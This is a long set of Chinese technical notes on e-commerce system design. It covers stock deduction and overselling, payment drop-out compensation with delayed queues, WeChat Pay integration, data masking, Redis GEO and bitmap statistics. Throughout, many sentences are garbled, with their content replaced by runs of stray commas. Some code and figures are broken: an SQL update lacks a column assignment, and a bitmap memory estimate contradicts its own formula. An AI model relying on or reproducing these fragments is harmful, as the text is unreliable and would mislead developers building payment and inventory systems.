- 商品下单后开始倒计时，一定时间内如果还未下单则超时关闭订单
- 普通商品一般采取3天时间， ，
- **已发货确认收货倒计时**
商品一般是发货开始后开始倒计时10天时间，
- 满1天记录1天 XX天hh小时mm分钟
- 小于1天小时则hh小时mm分钟ss秒
防止发货时间过长，发货后用户可以采用一次延长收货，商家/平台端则可以多次**延长收货**。
### 扣减库存
用户下单后，系统需要生成订单，此时需要先获取下单中涉及的商品信息，然后获取该商品所涉及到的优惠信息，如果商品不参与优惠信息，则无此环节。扣减库存规则是指订单中的商品，何时从仓储系统中对相应商品库存进行扣除。方式各有优缺点，需结合实际场景进行考虑，如：秒杀、抢购、促销活动等，可使用下单减库存的方式。而对于产品库存量大，并发流量没有那么强的产品使用付款减库存的方式。
**秒杀场景下如何扣减库存？**
- **采用下单减库存**
因秒杀场景下，大部分用户都是想直接购买商品的，可以直接用下单减库存。大量用户和恶意用户都是同时进行的，区别是正常用户会直接购买商品，恶意用户虽然在竞争抢购的名额，但是获取到的资格和普通用户一样，所以下单减库存在秒杀场景下，恶意用户下单并不能造成之前说的缺点。而且下单直接扣减库存，这个方案更简单，在第一步就扣减库存了。
- **Redis 缓存**
查询缓存要比查询数据库快，所以将库存数放在缓存中，直接在缓存中扣减库存。如果并发很高，还可以采取分布式锁的方案。
- **限流**
秒杀场景中，对请求做了很多限流操作，如前端页面的限流和后端令牌桶限流，真正到扣减库存时，请求数很少了。
#### 下单减库存
即用户下单成功时减少库存数量。
**优势**：用户体验友好，系统逻辑简洁。
**缺点**：会导致恶意下单或下单后却不买，使得真正有需求的用户无法购买，影响真实销量。
**解决办法**
- **设置订单有效时间**： ， ，
- **限购**： ， ，
- **风控**：从技术角度进行判断，屏蔽恶意账号，禁止恶意账号购买
#### 付款减库存
即用户支付完成并反馈给平台后再减少库存数量。
**优势**：减少无效订单带来的资源损耗。
**缺点**：因第三方支付返回结果存在时差，同一时间多个用户同时付款成功，会导致下单数目超过库存，商家库存不足容易引发断货和投诉，成本增加。
**解决办法**
- 付款前再次校验库存，如确认订单要付款时再验证一次，并友好提示用户库存不足
- 增加提示信息：在商品详情页，订单步骤页面提示不及时付款，不能保证有库存等
#### 预扣库存
下单页面显示最新的库存， （ ） ， ， ， ，
**优势**：结合下单减库存的优点，实时减库存，且缓解恶意买家大量下单的问题，保留时间内未支付，则释放库存。
**缺点**：保留时间内，恶意买家大量下单将库存用完。并发量很高的时候，依然会出现下单数超过库存数。
### 恶意下单
如何解决恶意买家下单的问题？这里的恶意买家指短时间内大量下单，将库存用完的买家。
- **限制用户下单数量**
** 优点**：限制恶意买家下单
** 缺点**：用户想要多买几件，被限制了，会降低销售量
- **标识恶意买家**
通过标识用户设备id或会员id， ， ，
### 支付失败
如何解决下单成功而支付失败（库存不足）的问题？
- **备用库存**
** 优点**：缓解部分用户支付失败的问题。
** 缺点**：备用库存只能缓解问题，不能从根本上解决问题。另外备用库存针对普通商品可以，针对特殊商品这种库存少的，备用库存量也不会很大，还是会出现大量用户下单成功却因库存不足而支付失败的问题。
### 库存超卖
如何解决高并发下库存超卖的场景？库存超卖最简单的解释就是多成交了订单而发不了货。
**场景**：用户 A 和 B 成功下单，在支付时扣减库存，当前库存数为 10。因 A 和 B 查询库存时，都还有库存数，所以 A 和 B 都可以付款。
A 和 B 同时支付， `inventory = 10` 。
A 线程更新最终库存数 ： ，
B 线程更新库存数： lastInventory = inventory - 1 = 9。
而实际最终的库存应是 8 才对，这样就出现库存超卖的情况，而发不出货。那如何解决库存超卖的情况呢？以下方案都是基于数据库层面的。
- **方案一： ， ，
```mysql
UPDATE [库存表] SET 库存数 - 1
```
- **方案二： ， ， ， ，
- **方案三： ，
```mysql
UPDATE [库存表] SET 库存数 - 1 WHERE 库存数 - 1 > 0
```
如果影响条数大于1， ， ，
### 订单拆分
用户支付完订单后，需要获取订单的支付信息，包括支付流水号、支付时间等。支付完订单接着就是等商家发货，但在发货过程中，根据平台业务模式的不同，可能会涉及到订单的拆分。订单拆分一般分两种：
- 一种是用户挑选的商品来自于不同渠道（自营与商家，商家与商家）
- 另一种是在SKU层面上拆分订单： ， ，
### 异步处理
随着公司的发展你可能会发现你项目的**请求链路越来越长**，例如刚开始的电商项目，可以就是粗暴的扣库存、下单。慢慢地又加上积分服务、短信服务等。这一路同步调用下来客户可能等急了，这时候就是消息队列登场的好时机。
**调用链路长、响应就慢了**，并且相对于扣库存和下单，积分和短信没必要这么的 “及时”。因此只需要在下单结束那个流程，扔个消息到消息队列中就可以直接返回响应了。而且积分服务和短信服务可以并行的消费这条消息。可以看出消息队列可以**减少请求的等待，还能让服务异步并发处理，提升系统总体性能**。
### 服务解耦
上面我们说到加了积分服务和短信服务，这时候可能又要来个营销服务，之后领导又说想做个大数据，又来个数据分析服务等等。所以一般会选用消息队列来解决系统之间耦合的问题，订单服务把订单相关消息塞到消息队列中，下游系统谁要谁就订阅这个主题。
### 流量控制
后端服务相对而言都是比较弱的，因为业务较重，处理时间较长。如秒杀活动爆发式流量打过来可能就顶不住了，因此需要引入一个中间件来做缓冲，基于消息队列实现削峰填谷功效。
- 网关的请求先放入消息队列中，后端服务尽自己最大能力去消息队列中消费请求。超时的请求可以直接返回错误
- 当然还有一些服务特别是某些后台任务，不需要及时地响应，并且业务处理复杂且流程长，那么过来的请求先放入消息队列中，后端服务按照自己的节奏处理
上面两种情况分别对应着生产者生产过快和消费者消费过慢两种情况，消息队列都能在其中发挥很好的缓冲效果。
## 异常设计
### 超时关闭
下单后发布延迟消息至MQ， ， ， ，
### 重复支付
如图是一个简化的下单流程，首先是提交订单，然后是支付。支付的话，一般是走支付网关（支付中心），然后支付中心与第三方支付渠道（微信、支付宝、银联）交互，支付成功以后，异步通知支付中心，支付中心更新自身支付订单状态，再通知业务应用，各业务再更新各自订单状态。
这个过程中经常可能遇到的问题是掉单，无论是超时未收到回调通知也好，还是程序自身报错也好，总之由于各种各样的原因，没有如期收到通知并正确的处理后续逻辑等等，都会造成用户支付成功了，但是服务端这边订单状态没更新，这个时候有可能产生投诉，或者用户重复支付。
由于③⑤造成的掉单称之为外部掉单，由④⑥造成的掉单我们称之为内部掉单。为了防止掉单，这里可以这样处理：
- 支付订单增加一个中间状态“支付中”， ， ， （ ）
- 支付中心这边要自己定义一个超时时间（ ： ） ， ， ， ， ，
- 支付中心收到支付结果以后， ， ， ， （ ： ）
- 无论是支付中心，还是业务应用，在接收支付结果通知时都要考虑接口幂等性，消息只处理一次，其余的忽略
- 业务应用也应做超时主动查询支付结果
对于上面说的超时主动查询可以在发起支付的时候将这些支付订单放到一张表中，用定时任务去扫。
为了防止订单重复提交，可以这样处理：
**创建订单的时候， ， ， ， ， ，
附上微信支付最佳实践：
### 支付对账
### 支付掉单
一个最常见的支付平台架构关系如下所示：
上图我们是站在第三方支付公司支付角度，如果是自己公司的内部支付系统，那么外部商户这一块其实就是公司内部一些系统，比如说订单系统，而外部支付渠道其实就是第三方支付公司。我们以携程为例，在其上面发起一笔订单支付，将会经过三个系统：
- 携程创建订单，向第三方支付公司发起支付请求
- 第三方支付公司创建订单，并向工行发起支付请求
- 工行完成扣款操作，返回第三方支付公司
- 第三方支付完成订单更新并返回携程
- 携程变更订单状态
上面的流程，简单如下图所示：
在这个过程就可能会碰到，用户工行卡已经扣款，但是携程订单却还是待支付，我们通常将这种情况称为「掉单」。上述掉单的场景，多数是因为「③、⑤」环节信息丢失导致，这种掉单我们将其称为「外部掉单」。还有一种极少数的情况，收到 「③、⑤」环节返回信息，但是在「④、⑥」环节内部系统更新订单状态失败，从而导致丢失支付成功的信息，这类掉单由于是内部问题，我们通常将其称之为「内部掉单」。
#### 外部掉单
外部掉单是因为没有收到对端返回信息，这种情况极有可能是网络问题，也有可能对端处理逻辑太慢，导致我方请求超时，直接断开了网络请求。
**① 增加超时时间**
适当的增加超时时间，在增加网络超时时间之后，可能还需要调整整个链路的超时时间，不然有可能导致整个链路内部超时从而引起内部掉单。
**注意**：对接外部渠道，一定要「设置网络连接超时时间与读取超时时间」。
**② 接收异步通知**
接收渠道异步回执通知信息，一般来说，现在支付渠道接口都可以上送一个异步回调地址，当渠道端处理成功，将会把成功信息通知到这个回调地址上。这种情况下，只需要接收通知信息，然后解析，再更新内部订单状态。
**注意**
- 对于异步请求信息，一定需要对通知内容进行签名验证，并校验返回的订单金额是否与商户侧的订单金额一致，防止数据泄漏导致出现“假通知”，造成资金损失
- 异步通知将会发送多次，所以异步通知处理需要幂等
**③ 掉单查询**
有的渠道可能没有提供异步通知的功能，只提供了订单查询的接口，这种情况下，只能使用定时掉单查询解决。可以将这类超时未知的订单的单独保存到掉单表，然后定时向渠道端查询订单的状态。若查询成功或者明确失败（比如订单不存在等），可以更新订单状态，并且删除掉单表记录；若查询依旧未知，这时我们需要等待下次查询的结果。
**注意**：有些情况下，有可能无法查询返回订单的状态，所以需要设置订单查询的最大次数，防止无限查询浪费性能。
**④ 对账**
最后，极少数的情况下，订单查询与异步通知都无法获取的支付结果，这就只能进行对账处理。如果第二天渠道端给的对账文件有这一笔支付结果，那么可以根据这个记录更新直接更新内部支付记录。
**注意**：稳妥一点，可以先发起查询，然后根据查询结果更新订单记录。不过有些极端情况，查询无法获取结果，那么直接更新内部记录即可。那如果第二天也没有这笔记录的结果，这种情况下，我们可以认为这笔是失败的。如果用户被扣款，渠道端内部将会发起退款，将支付金额返回给用户。所以这种情况可以无需处理。
#### 内部掉单
**① 支付公司内部订单关系**
如下图所示，第三方支付公司内部表通常为支付订单与渠道订单这样一种 1 比 N 的关系：
**渠道订单**代表着第三方支付公司与外部渠道的关系，其实对**外部渠道系统**来讲，第三方支付公司就是一个外部商户。如果使用上图 1 对1 的订单关系，当第一次支付支付失败，外部商户可能会再次使用相同订单号对第三方支付公司发起支付。
如果第三方支付公司也拿相同的内部订单去请求外部渠道系统，有可能外部渠道系统并不支持同一订单号再次请求。但是现实的情况，很多外部商户并不是那么容易更换生成新的订单号，所以一般第三方支付公司都需要支持同一外部商户订单号在未成功的情况下，支持重复支付。在这种情况下，就需要我们上面的 1:N 的订单关系图了。
**② 内部掉单异常的原因**
当收到外部渠道系统的成功的返回信息，成功更新了渠道订单表的记录。但是由于渠道订单表与支付订单表可能不是同一个数据库，也有可能两者并不在同一个应用中，这就有可能导致更新支付订单表的更新失败。
由于支付订单是表保存着外部商户订单与内部订单关系，支付订单未成功，所以外部商户也无法查询得到成功的支付结果。
此时渠道订单表已经成功，所以上面外部掉单的方法并不适用内部掉单。
**内部掉单异常解决办法：**
- **分布式事务**
内部掉单异常，说白就是因为支付订单表与渠道订单表无法使用数据库事务保证两者同时更新成功或失败。
- **异步补偿更新**
当发生内部掉单的情况，即更新支付订单失败等情况，可以将这里支付订单保存（无法保证绝对成功）到一张内部掉单表。所以还需要定时查询，查询一段时间内支付订单未成功，而渠道订单表已成功的支付订单记录，然后也将其插入到内部掉单表。另一个系统应用，只需要定时扫描内部掉单表，将支付订单成功，然后再删除内部掉单记录即可。
**注意**：当支付订单表数据量很大后，定时查询可能会慢，为了防止影响主库，所以这类查询可以在备库进行。
#### 解决方案
支付掉单、卡单是支付过程中经常会碰到的事，可以采用异步补偿的方案，解决该问题。异步补偿方案可以采用如下两种：
- 定时轮询补偿方案
- 延迟消息补偿方案
定时轮询补偿方案实现起来比较简单，但是时效性稍差。而延迟消息补偿方案总体来说比较优秀，但是实现起来比较复杂。如果没有自定义的延迟时间的需求，可以直接采用 RocketMQ 延迟消息，简单快捷。另外**延迟队列**使用场景还是比较多，不仅仅能用在掉单补偿上，还可以用于支付关单等场景。所以有能力开发的团队，可以开发一个通用的延迟队列。
**方案一：定时轮询补偿方案**
**① 整体流程**
该方案主要采用定时任务，批量查询掉单记录，从而驱动查询具体支付结果，然后更新内部订单。整体方案流程图如下：
前三步流程没什么好说的，正常的支付流程，咱们针对后面几步具体详细说下。
第三步调用支付通道之后，如果支付通道端返回**支付受理成功或者支付处理中**，我们就需要调用第四步，将这类订单插入掉单表。如果支付直接成功了，那就正常流程返回即可。
> 复习一下，网关类支付，比如支付宝、微信支付、网银支付，这种支付模式，支付通道仅仅返回支付受理成功，具体支付结果需要接收支付通道端的支付通知，这类支付我们将其称为异步支付。相应的还有同步支付，比如银行卡支付，微信、支付宝代扣类支付，这类支付，同步就能返回支付结果。
第五步，补单应用将会定时查询数据库，批量查询掉单记录。
第六步，补单应用使用线程池，多线程异步的方式发起掉单查询。
第七步，调用支付通道支付查询接口。
重点来了，如果第七步支付结果查询为以下状态：
- **支付结果为扣款成功**
- **支付结果为明确失败**
- **掉单记录查询达到最大次数**
**第八步就会删除掉单记录。**
最后，如果掉单查询依旧还是处理中，那么经过一定的延时之后，重复第五步，再次重新掉单补偿，直到成功或者查询到达最大次数。
**② 相关问题**
**为什么需要新建一张掉单表？不能直接使用支付订单表，查询未成功的订单吗?**
这个问题，实际上确实可以直接使用的支付订单表，然后批量查询当天未成功的订单，补单程序发起支付查询。那为什么需要新建一张掉单表？主要是因为数据库查询效率问题，因为支付订单表每天都会大量记录新增，随着时间，这张表记录将会越来越多，越来越大。
**支付记录越多，批量范围查询效率就会变低，查询速度将会变慢**。所以为了查询效率，新建一张掉单表。这张表里仅记录支付未成功的订单，所以数据量就会很小，那么查询效率就会很高。另外，掉单表里的记录，不会被永久保存，只是临时性。当支付结果查询成功，或者支付结果明确失败，再或者查询次数到达规定最大次数，就会删除掉单记录。
**这就是第八步为什么需要删除掉单表的原因。**
如果需要保存每次掉单表查询详情，那么这里建议再新增一张掉单查询记录表，保存每一次的查询记录。针对这个方案，如果还有其他问题，欢迎留言。
**③ 方案优缺点**
定时轮询补偿方案，最大的优点可能就是系统架构方案比较简单，比较容易实施。那么这个方案的缺点主要在于**定时任务**上。定时任务轮询方案天然会存在以下不足：
- **轮询效率稍低**
- 每次查询数据库，已经被执行过记录，仍然会被扫描（补单程序将会根据一定策略决定是否发起支付通道查询），有**重复计算**的嫌疑
- **时效性不够好**， ， ，
- 如果为了解决时效性问题，增加定时任务查询效率，那么 1 中查询效率跟 2 的重复计算问题将会更加明显
**方案二：延迟消息补偿方案**
下面介绍另外一种掉单补偿方案，延迟消息补偿方案，这个方案整体流程与定时任务方案类似，最大区别可能在于，从一种**拉模式**变成一种**推模式**。
**① 整体流程**
整体方案流程图如下：
这个方案主要流程跟定时方案类似，主要区别在于第四步，第五步，第八步。
第四步的流程从插入掉单表变更为往**延迟队列发送掉单消息**。
第五步，补单程序接收掉单消息，然后触发支付掉单查询。
第八步，如果第七步支付结果查询为以下状态：
- 支付结果为扣款成功
- 支付结果为明确失败
- 掉单记录查询达到最大次数
补单程序将会告知延迟队列消费成功，延迟队列将会删除这条掉单消息。其他状态将会告知消费失效，延迟队列将会在一定延时之后，再次发送掉单消息，然后继续重复第五步。
**② 延迟队列**
这里的延迟队列需要自己实现，复杂度还是比较高的，这里给大家推荐几种实现方案：
第一种，基于 **Redis SortedSet** 实现延迟队列。可以参考一下有赞的实现方案https://tech.youzan.com/queuing_delay/
第二种，基于时间轮算法(**TimingWheel**)实现延迟队列，具体可以参考 Kafka 延时队列。
第三种，基于 **RocketMQ** 延迟消息。
前两种方案说起来还需要再开发，所以还是比较复杂的。这里重点说下第三种方案，该方案是 **RocketMQ** 已经支持的特性， ，
```properties
1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h
```
消息发送方可以通过Message.setDelayTimeLevel方式指定延迟等级， ， ， ，
**③ 方案优缺点**
延迟消息的方案相对于定时轮询方案来讲：
- 无需再查询全部订单，效率高
- 时效性较好
不过延迟消息这种方案，需要基于**延迟队列**，实现起来比较复杂，目前开源实现也比较少。
## 微信支付
### 前提条件
#### 公众号
微信公众号大体上可以分为服务号和订阅号。微信支付接入需要**已经完成微信认证的服务号**。如果是小程序的话，也需要完成**微信认证**。公众号可以关联同一主体的10个小程序， ， ，
#### 微信商户平台
微信认证完成后，在公众号后台的 `微信支付` 中开通微信支付功能。提交微信支付申请后， ， ， ， ，
商户分为普通商户和服务商商户，千万不要申请错了。普通商户是可以进行交易，但是不能拓展商户。服务商可以拓展商户，但是不能交易。服务商就是提供统一的支付入口，它需要绑定具体的普通商户，微信支付时会在支付接口中携带普通商户参数，支付成功后金额会直接到具体的普通商户账户上。
申请时直接申请**普通商户**就可以了。
#### 绑定商户
微信支付发起依赖于公众号、小程序等应用与商户号的绑定关系。因此在进行开发前， ，
- 在商户平台-产品中心-AppID账户管理中关联AppID，
- 在公众号或小程序后台微信支付-商户号管理中进行确认。
如果商户和需要绑定的AppID是不同主体， ， ，
### 相关配置
#### 支付产品类型
- **付款码支付**
用户打开微信钱包-付款码的界面，商户扫码后提交完成支付。
- **JSAPI支付**
用户通过微信扫码， ，
- **Native支付**
用户打开微信扫一扫，扫描商户的二维码后完成支付。
- **APP支付**
商户APP中集成微信SDK，
- **H5支付**
用户在微信以外的手机浏览器请求微信支付的场景唤起微信支付。
- **小程序支付**
用户在微信小程序中使用微信支付的场景。
- **刷脸支付**
无需掏出手机，刷脸完成支付，适合线下各种场景。
在商户平台-产品中心-我的产品中申请开通支付产品。
#### 支付授权目录配置
在商户平台-产品中心-开发配置中进行支付授权目录的配置（即你开发的下单接口地址），需要注意的是授权目录最多可以配置**五个**，在开发过程中请合理定义支付接口。
#### 配置商户密钥
在商户平台-账户中心-API安全中设置API密钥。
第一次设置时， ， ，
在微信API v3版本中， ，
- API v3密钥主要用于平台证书解密、回调信息解密
- API证书用于调用更高级别的api接口，
**如果使用开源的微信开发包，
#### 配置服务器
在公众号后台-开发-基本配置-服务器配置中启用并填写服务器信息。
#### 白名单配置
在公众号后台-开发-基本配置-公众号开发信息中配置开发者密钥，
#### JS接口安全域名
在公众号后台-公众号设置-功能设置中设置JS接口安全域名。
上面的配置是基于公众号支付配置的，小程序支付没有这么麻烦，小程序支付不用配置支付授权目录和授权域名。
| | JSAPI | 小程序 |
| :------- | :--------- | :----- |
| 支付协议 | HTTP/HTTPS | HTTPS |
| 支付目录 | 有 | 无 |
| 授权域名 | 有 | 无 |
### 支付流程
由于微信升级了API接口， ， ， ， ， ， （ ， ）
上面的这张图片来自微信开发文档，我们详细分析一下支付流程。
#### 微信下单接口
用户通过微信客户端发起支付，在商戶后台生成订单，然后调用微信下单接口，生成预支付订单，返回订单号！下单接口涉及到的主要参数，只列举重要的几个参数：
| 请求参数 | 是否必传 | 类型 | 描述 |
| :----------- | :------- | :----- | :------------------------ |
| appid | 是 | String | 公众号appid |
| mch_id | 是 | String | 商户号 |
| nonce_str | 是 | String | 随机字符串，
| sign | 是 | String | 签名，
| out_trade_no | 是 | String | 系统内部订单号 |
| total_fee | 是 | Int | 订单总金额，单位是分 |
| notify_url | 是 | String | 支付结果通知接口 |
`sign` 的签名也比较通用，涉及了一个保证签名不可预测的`nonce_str：
- 将所有发送的非空参数使用字典排序生成键值对（ & key2=value2）
- 将商户平台密钥拼接在上述字符串的最后（"String"+& key=密钥）
- 将上述字符串采用MD5加密
#### 支付
拉起微信支付， ， ， ， ，
| 参数名 | 是否必传 | 类型 | 描述 |
| :-------- | :------- | :----- | :------------------------------ |
| appId | 是 | String | 公众号id |
| timeStamp | 是 | String | 当前时间戳 |
| nonceStr | 是 | String | 随机字符串 |
| package | 是 | String | 预支付订单，
| signType | 是 | String | 签名类型，
| paySign | 是 | String | 签名 |
签名和下单接口的签名方式一样。
JS伪代码如下：
```javascript
function onBridgeReady(){
WeixinJSBridge.invoke(
'getBrandWCPayRequest', {
// 公众号ID，
"appId":"wx2421b1c4370ec43b",
// 时间戳，
"timeStamp":"1395712654",
// 随机串
"nonceStr":"e61463f8efa94090b1f366cccfbbb444",
"package":"prepay_id=u802345jgfjsdfgsdg888",
// 微信签名方式
"signType":"MD5",
// 微信签名
"paySign":"70EA570631E4BB79628FBCA90534C63FF7FADD89"
},
function(res){
if(res.err_msg == "get_brand_wcpay_request:ok" ){
// 使用以上方式判断前端返回,微信团队郑重提示：
// res.err_msg将在用户支付成功后返回ok，
}
});
}
if (typeof WeixinJSBridge == "undefined"){
if( document.addEventListener ){
document.addEventListener('WeixinJSBridgeReady', onBridgeReady, false);
}else if (document.attachEvent){
document.attachEvent('WeixinJSBridgeReady', onBridgeReady);
document.attachEvent('onWeixinJSBridgeReady', onBridgeReady);
}
}else{
onBridgeReady();
}
```
注意伪代码中的这句话`// res.err_msg将在用户支付成功后返回ok，
#### 异步通知
异步通知是比较重要的一步， ， ， ， （ ， `24h4m` ）。但是微信不保证通知最终一定会成功。异步通知**响应参数**如下：
| 参数名 | 是否必传 | 类型 | 描述 |
| :---------- | :------- | :----- | :--------------------------- |
| return_code | 是 | String | 返回状态码，`SUCCESS`/`FAIL` |
| return_msg | 否 | String | 返回信息 |
如果微信一直通知不成功怎么？还是刚才那个例子，你明明支付成功了，但是商家却一直说她没收到钱，这时候你怎么办？肯定是去看一下她的手机是否真的没有收到钱！这里也一样。
#### 支付状态查询
- 商户APP或者前端页面收到支付返回时， ，
- 商户后台需要准确、高效地处理微信支付发送的异步支付结果通知，并按接口规范把处理结果返回给微信支付
- 商户后台未收到异步支付结果通知时，商户应该主动调用 `微信支付查单接口` ，同步订单状态
- 商户在T+1日从微信支付侧获取T日的交易账单， ， ，
**总结**
本文主要以公众号支付为例， ， `微信开放平台` 去创建应用来接入微信支付。除此之外， ， ， ，
## 库存超卖问题
系统A是一个电商系统， ， ， ， ， ， ：
但是这样一来会**产生一个问题**： ， ， ， ， ， ， ， ， ，
**解决方案**： ， ： ， ，
# 数据脱敏
先来看看什么是数据脱敏？数据脱敏也叫数据的去隐私化，在我们给定脱敏规则和策略的情况下，对敏感数据比如 `手机号` 、`银行卡号` 等信息，进行转换或者修改的一种技术手段，防止敏感数据直接在不可靠的环境下使用。像政府、医疗行业、金融机构、移动运营商是比较早开始应用数据脱敏的，因为他们所掌握的都是用户最核心的私密数据，如果泄露后果是不可估量的。数据脱敏的应用在生活中是比较常见的，比如我们在淘宝买东西订单详情中，商家账户信息会被用 `*` 遮挡，保障了商户隐私不泄露，这就是一种数据脱敏方式。数据脱敏又分为静态数据脱敏（`SDM`）和 动态数据脱敏（`DDM`）。
## 静态数据脱敏
静态数据脱敏（`SDM`）：适用于将数据抽取出生产环境脱敏后分发至测试、开发、培训、数据分析等场景。
有时我们可能需要将生产环境的数据 `copy` 到测试、开发库中，以此来排查问题或进行数据分析，但出于安全考虑又不能将敏感数据存储于非生产环境，此时就要把敏感数据从生产环境脱敏完毕之后再在非生产环境使用。
这样脱敏后的数据与生产环境隔离，满足业务需要的同时又保障了生产数据的安全。
如图所示，将用户的真实 `姓名` 、`手机号`、`身份证`、`银行卡号` 通过 `替换` 、`无效化`、`乱序`、`对称加密` 等方案进行脱敏改造。
## 动态数据脱敏
动态数据脱敏（`DDM`）：一般用在生产环境，访问敏感数据时实时进行脱敏，因为有时在不同情况下对于同一敏感数据的读取，需要做不同级别的脱敏处理，例如：不同角色、不同权限所执行的脱敏方案会不同。
**注意**：在抹去数据中的敏感内容同时，也需要保持原有的数据特征、业务规则和数据关联性，保证我们在开发、测试以及数据分析类业务不会受到脱敏的影响，使脱敏前后的数据一致性和有效性。**总之一句话：你爱怎么脱就怎么脱，别影响我使用就行**。
## 数据脱敏方案
### 无效化
无效化方案在处理待脱敏的数据时，通过对字段数据值进行 `截断` 、`加密`、`隐藏` 等方式让敏感数据脱敏，使其不再具有利用价值。一般采用特殊字符（`*`等）代替真值，这种隐藏敏感数据的方法简单，但缺点是用户无法得知原数据的格式，如果想要获取完整信息，要让用户授权查询。
比如我们将身份证号用 * 替换真实数字就变成了 "220724 \* \*\*\*\*\* 3523"，非常简单。
### 随机值
随机值替换，字母变为随机字母，数字变为随机数字，文字随机替换文字的方式来改变敏感数据，这种方案的优点在于可以在一定程度上保留原有数据的格式，往往这种方法用户不易察觉的。
我们看到 `name` 和 `idnumber` 字段进行了随机化脱敏，而名字姓、氏随机化稍有特殊，需要有对应姓氏字典数据支持。
### 数据替换
数据替换与前边的无效化方式比较相似，不同的是这里不以特殊字符进行遮挡，而是用一个设定的虚拟值替换真值。比如说我们将手机号统一设置成 “13651300000”。
### 对称加密
对称加密是一种特殊的可逆脱敏方法，通过加密密钥和算法对敏感数据进行加密，密文格式与原始数据在逻辑规则上一致，通过密钥解密可以恢复原始数据，要注意的就是密钥的安全性。
### 平均值
平均值方案经常用在统计场景，针对数值型数据，我们先计算它们的均值，然后使脱敏后的值在均值附近随机分布，从而保持数据的总和不变。
对价格字段 `price` 做平均值处理后，字段总金额不变，但脱敏后的字段值都在均值 60 附近。
### 偏移和取整
这种方式通过随机移位改变数字数据，偏移取整在保持了数据的安全性的同时保证了范围的大致真实性，比之前几种方案更接近真实数据，在大数据分析场景中意义比较大。
比如下边的日期字段`create_time`中 `2020-12-08 15:12:25` 变为 `2018-01-02 15:00:00` 。
数据脱敏规则在实际应用中往往都是多种方案配合使用，以此来达到更高的安全级别。
# 附近的人
## 操作命令
自Redis 3.2开始， ：
- **GEOADD**: 将给定的位置对象（ ）
- GEOPOS: 从key里面返回所有给定位置对象的位置（ ）
- GEODIST: 返回两个给定位置之间的距离;
- GEOHASH: 返回一个或多个位置对象的Geohash表示;
- **GEORADIUS**: 以给定的经纬度为中心，返回目标集合中与中心的距离不超过给定最大距离的所有位置对象;
- GEORADIUSBYMEMBER: 以给定的位置对象为中心，返回与其距离不超过给定最大距离的所有位置对象。
其中， ， ， ， ， ，
> Redis geo操作中只包含了“增”和“查”的操作， ，
> 在Redis源码geo.c的文件注释中， （ ）
## GEOADD
**使用方式**
```shell
GEOADD key longitude latitude member [longitude latitude member ...]
```
将给定的位置对象（ ） ， ， ， ， ， ：
```
(integer) N
```
其中N为成功插入的个数。通过源码分析可以看出Redis内部使用有序集合(zset)保存位置对象， ，
> double类型精度为52位；
> geohash是以base32的方式编码， ，
**算法小结**
简单总结下GEOADD命令都干了啥：
- 参数提取和校验
- 将入参经纬度转换为52位的geohash值（ ）
- 调用ZADD命令将member及其对应的score存入集合key中
## GEORADIUS
**使用方式**
```
GEORADIUS key longitude latitude radius m|km|ft|mi [WITHCOORD] [WITHDIST] [WITHHASH] [ASC|DESC] [COUNT count] [STORE key] [STORedisT key]
```
以给定的经纬度为中心，返回目标集合中与中心的距离不超过给定最大距离的所有位置对象。
范围单位：`m | km | ft | mi --> 米 | 千米 | 英尺 | 英里`
额外参数：
- WITHDIST： ，
- WITHCOORD：
- WITHHASH：
- ASC|DESC：
- COUNT count： （ ）
- STORE key：
- STORedisT key：
由于 STORE 和 STORedisT 两个选项的存在， ， （ ） ，
不过，在实际开发中笔者发现 在java package `Redis.clients.jedis.params.geo` 的 GeoRadiusParam 参数类中并不包含 STORE 和 STORedisT 两个参数选项， ， ：
不带WITH限定， ， ：
```
["member1","member2","member3"]
```
带WITH限定， ， ：
```
[
["member1", distance1, [longitude1, latitude1]]
["member2", distance2, [longitude2, latitude2]]
]
```
**算法小结**
抛开众多可选参数不谈， ：
- 参数提取和校验
- 利用中心点和输入半径计算待查区域范围。这个范围参数包括满足条件的最高的geohash网格等级(精度) 以及 对应的能够覆盖目标区域的九宫格位置
- 对九宫格进行遍历， ，
直接描述不太好理解，我们通过如下两张图在对算法进行简单的演示：
 
令左图的中心为搜索中心，绿色圆形区域为目标区域，所有点为待搜索的位置对象，红色点则为满足条件的位置对象。
在实际搜索时,首先会根据搜索半径计算geohash网格等级（ ） ， （ ） ； （ ） ， （ ）
# 亿级数据统计
常见的场景如下：
- 给一个 userId ，判断用户登陆状态
- 两亿用户最近 7 天的签到情况，统计 7 天内连续签到的用户总数
- 统计每天的新增与第二天的留存用户数
- 统计网站的对访客（ ， ）
- 最新评论列表
- 根据播放量音乐榜单
通常情况下，我们面临的用户数量以及访问量都是巨大的，比如百万、千万级别的用户数量，或者千万级别、甚至亿级别的访问信息。所以，我们必须要选择能够非常高效地统计大量数据（例如亿级）的集合类型。
**如何选择合适的数据集合，我们首先要了解常用的统计模式，并运用合理的数据来解决实际问题。**四种统计类型：
- 二值状态统计
- 聚合统计
- 排序统计
- 基数统计
## 二值统计
**什么是二值状态统计呀？**
也就是集合中的元素的值只有 0 和 1 两种，在签到打卡和用户是否登陆的场景中，只需记录`签到(1)`或 `未签到(0)` ， ， ，
**为什么String类型内存开销大？
String 类型除了记录实际数据以外， ， （ ） ， ：
- **len**：占 4 个字节，表示 buf 的已用长度
- **alloc**：占 4 个字节，表示 buf 实际分配的长度，通常 > len
- **buf**： ， ， ，
所以，在 SDS 中除了 buf 保存实际的数据， len 与 alloc 就是额外的开销。另外，还有一个 **RedisObject 结构的开销** ，因为 Redis 的数据类型有很多， ， （ ） ，
对于二值状态场景，我们就可以利用 Bitmap 来实现。比如登陆状态我们用一个 bit 位表示，一亿个用户也只占用 一亿 个 bit 位内存 ≈ （ ）
```
大概的空间占用计算公式是：($offset/8/1024/1024) MB
```
**什么是 Bitmap 呢？**
Bitmap 的底层数据结构用的是 String 类型的 SDS 数据结构来保存位数组， ） ， ，
**8 个 bit 组成一个 Byte，
当遇到的统计场景只需要统计数据的二值状态，比如用户是否存在、 ip 是否是黑名单、以及签到打卡统计等场景就可以考虑使用 Bitmap。只需要一个 bit 位就能表示 0 和 1。在统计海量数据的时候将大大减少内存占用。
### 判断用户登陆态
怎么用 Bitmap 来判断海量用户中某个用户是否在线呢？ `GETBIT、SETBIT` 操作，通过一个偏移值 offset 对 bit 数组的 offset 位置的 bit 位进行读写操作，需要注意的是 offset 从 0 开始。
只需要一个 key = login_status 表示存储用户登陆状态集合数据， 将用户 ID 作为 offset， ， `GETBIT` 判断对应的用户是否在线。50000 万 用户只需要 6 MB 的空间。
- **SETBIT 命令**
```
SETBIT < key > < offset > < value >
```
